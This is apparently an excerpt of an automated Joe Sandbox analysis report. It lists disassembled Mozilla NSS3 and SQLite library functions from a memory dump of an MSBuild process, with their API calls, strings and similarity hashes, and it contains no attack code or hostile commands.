Function 6CC3ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEF1
free.MOZGLUE(6CC1CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?), ref: 6CC3AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AF30

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1d3cf6fe446479227c4a39526ddb7f8966b65e57672c8859dd7aeaca530d368e
Instruction ID: 9eb83825e406b00043fbe798ee72156792f9d6ce7fb80132f83f7a7b05dfa110
Opcode Fuzzy Hash: 1d3cf6fe446479227c4a39526ddb7f8966b65e57672c8859dd7aeaca530d368e
Instruction Fuzzy Hash: C651DDB1A00611AFEF04DF69E884B5AB7B8BF48318F145664E90C97A51F731E8B4CBD1

Function 6CC14CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC1AB7F,?,00000000,?), ref: 6CC14CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC1AB7F,?,00000000,?), ref: 6CC14CC8
TlsGetValue.KERNEL32(?,6CC1AB7F,?,00000000,?), ref: 6CC14CE0
EnterCriticalSection.KERNEL32(?,?,6CC1AB7F,?,00000000,?), ref: 6CC14CF4
PL_HashTableLookup.NSS3(?,?,?,6CC1AB7F,?,00000000,?), ref: 6CC14D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC14D10

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC14D26

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC14D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC14DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC14E02

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: e71cb493d6086dba3190dfdca2b45558a269f3a488a223edc511f2f9cd921f3a
Instruction ID: 1196f0f4ef7452b2c3c62d88d38c256caeff8eb1d22be480e6d2ad80b602e21b
Opcode Fuzzy Hash: e71cb493d6086dba3190dfdca2b45558a269f3a488a223edc511f2f9cd921f3a
Instruction Fuzzy Hash: A641A8B5A042059BEF01AF69EC40A6677B8BF0525DF0441B0ED1897B12FB31D958D7E2

Function 6CC189C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CC1AE9B,00000000,?,?), ref: 6CC189DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC189EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B), ref: 6CC18A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC18A11

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: ea674c071c4dcc8ba4edcd95d42cb8cdba86acd438f7d9075e6d86eb1e95caef
Instruction ID: e64671c4a9079b36af33586cf2b8403981ee72290041701e5d4d481320adbdac
Opcode Fuzzy Hash: ea674c071c4dcc8ba4edcd95d42cb8cdba86acd438f7d9075e6d86eb1e95caef
Instruction Fuzzy Hash: FE11EBB1E0C3005BFB005A676C81FAB35989B4175DF084076EE0999F42F722D469E1B2

Function 6CBF2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E

Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CBF9003,?), ref: 6CC4FD91
Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(A4686CC5,?), ref: 6CC4FDA2
Part of subcall function 6CC4FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC5,?,?), ref: 6CC4FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33

Part of subcall function 6CC4FD80: free.MOZGLUE(00000000,?,?), ref: 6CC4FDD1

TlsGetValue.KERNEL32 ref: 6CBF2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
PR_Unlock.NSS3 ref: 6CBF2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBF2EC5

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: dac9e9bebc37226c3eb90e40854d8e63dc7060f507ac27e77a09651f1bb3eafe
Instruction ID: 65529695e063daad821c81591d0445753460be96ccb5edd6eaefc12e7b1f68a7
Opcode Fuzzy Hash: dac9e9bebc37226c3eb90e40854d8e63dc7060f507ac27e77a09651f1bb3eafe
Instruction Fuzzy Hash: F7210772E00185ABFF002F68EC49A9A3A78DB5234DF544030EE2886711F732C55DD6A3

Function 6CB7CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB7B999), ref: 6CB7CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB7B999), ref: 6CB7D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB7B999), ref: 6CB7D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB7B999), ref: 6CCC972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7CFDD, 6CB7D00E, 6CB7D022, 6CB7D033, 6CCC9780
database corruption, xrefs: 6CB7CFE7, 6CB7D013, 6CB7D028, 6CB7D039, 6CB7D03E, 6CCC9786
%s at line %d of [%.10s], xrefs: 6CB7CFEC, 6CB7D018, 6CB7D029, 6CB7D03F, 6CCC978B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 97fee0727e6349f8bab565a7a779e510a2abaff83b4c81a1d8ecfaa561f329f0
Instruction ID: c0d9f061a68d3413a890ed6bc9b4efbb5e6fe8d80a3473dd508f6722f686f41c
Opcode Fuzzy Hash: 97fee0727e6349f8bab565a7a779e510a2abaff83b4c81a1d8ecfaa561f329f0
Instruction Fuzzy Hash: A3615A71A042509BD310CF29C840BA7B7F5EF45318F68456DE8499FB82E376D847C7A2

Function 6CBFAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBFAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD19500,6CBF3F91), ref: 6CBFAFD2

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

DER_GetInteger_Util.NSS3(?), ref: 6CBFB007

Part of subcall function 6CC46A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CBF1666,?,6CBFB00C,?), ref: 6CC46AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBFB02F
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBFB046
PL_FreeArenaPool.NSS3 ref: 6CBFB058
PL_FinishArenaPool.NSS3 ref: 6CBFB060

Strings

security, xrefs: 6CBFAFB8

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 7e032a450070ca64181a68200d2249f3cfd2fa70f60f01f6dbdb8d4698cc22c7
Instruction ID: 8488a673b1de0bb84f09a08c8b2c049b0dcac7a97e63b5419dab2b6d0d4acf52
Opcode Fuzzy Hash: 7e032a450070ca64181a68200d2249f3cfd2fa70f60f01f6dbdb8d4698cc22c7
Instruction Fuzzy Hash: 0331F471404340ABEB108F34DC45BAA77A8AF8632CF544619E9749BBD1E732911ECB9B

Function 6CC3CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC3CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC3CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC3D079

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 1bf2f14c67bdff17cd77b00d8d9cd19ae4b0318e68c8b740db3e51e012353165
Instruction ID: 947b2efa1725a900e7d4fd4116c1e44f50d45ca83768a5f5099bf3028b558bac
Opcode Fuzzy Hash: 1bf2f14c67bdff17cd77b00d8d9cd19ae4b0318e68c8b740db3e51e012353165
Instruction Fuzzy Hash: 04C19EB1A002299BDB10DF24DC80BDAB7B4BF48308F1452A8E94CA7741F775EA95CF90

Function 6CBF2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(3BFCF527), ref: 6CBF2C5D

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CBF2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF2CE0

Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E
Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33
Part of subcall function 6CBF2E00: TlsGetValue.KERNEL32 ref: 6CBF2E4E
Part of subcall function 6CBF2E00: EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
Part of subcall function 6CBF2E00: PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
Part of subcall function 6CBF2E00: PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
Part of subcall function 6CBF2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
Part of subcall function 6CBF2E00: PR_Unlock.NSS3 ref: 6CBF2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CBF2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CBF2D3F
free.MOZGLUE(00000000), ref: 6CBF2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CBF2DB8
free.MOZGLUE ref: 6CBF2DC8

Part of subcall function 6CBF3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF3EC2
Part of subcall function 6CBF3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF3ED6
Part of subcall function 6CBF3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBF3EEE
Part of subcall function 6CBF3E60: PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF3F02
Part of subcall function 6CBF3E60: PL_FreeArenaPool.NSS3 ref: 6CBF3F14
Part of subcall function 6CBF3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF3F27

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: dc24dba26d56826b73253627ab44c4f3718d404ed10cd1b4a7be68ca155626cc
Instruction ID: c0b0ae7c90c54f424748c812d8091644a8e2cd9d44bcc8456fcb0c6a0c067170
Opcode Fuzzy Hash: dc24dba26d56826b73253627ab44c4f3718d404ed10cd1b4a7be68ca155626cc
Instruction Fuzzy Hash: C051D075A042A59BEB00DE68DC89B5B77E5EF84348F140428EC6583750E731E81ACBA3

Function 6CC18F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC1905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC190EC

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19111

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: b8b5ed80188f9d615a30b75fa64b541aa84534823c922ab2581259b5e345a5d2
Instruction ID: 6557f05a60681016fefe2183636210a13fe2d6ae8b06b45dac2464823925c45d
Opcode Fuzzy Hash: b8b5ed80188f9d615a30b75fa64b541aa84534823c922ab2581259b5e345a5d2
Instruction Fuzzy Hash: E051AD71A082048FEF00EF7AC488659BBF4BF49318F5545A9DD449BB15EB30E889CB81

Function 6CBF8980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF89B8

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF89E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CBF8A00
CERT_CopyRDN.NSS3(00000004,00000000,6CBF7310,?,?,00000004,?), ref: 6CBF8A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CBF8A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF8AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF8AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CBF7310), ref: 6CBF8B1D

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: fd5965261551198baf71bf520f8d0683d1bf5eceac1625ada616b125db072912
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 31510771601250AFE7108F16CC44B6A77A4EF4371CF55815AEC289B791E773E81ACB92

Function 6CB8E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CB8E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB8E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CB8EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CB8EB57

Strings

unknown column "%s" in foreign key definition, xrefs: 6CB8ED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CB8EDC2
foreign key on %s should reference only one column of table %T, xrefs: 6CB8EE04

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
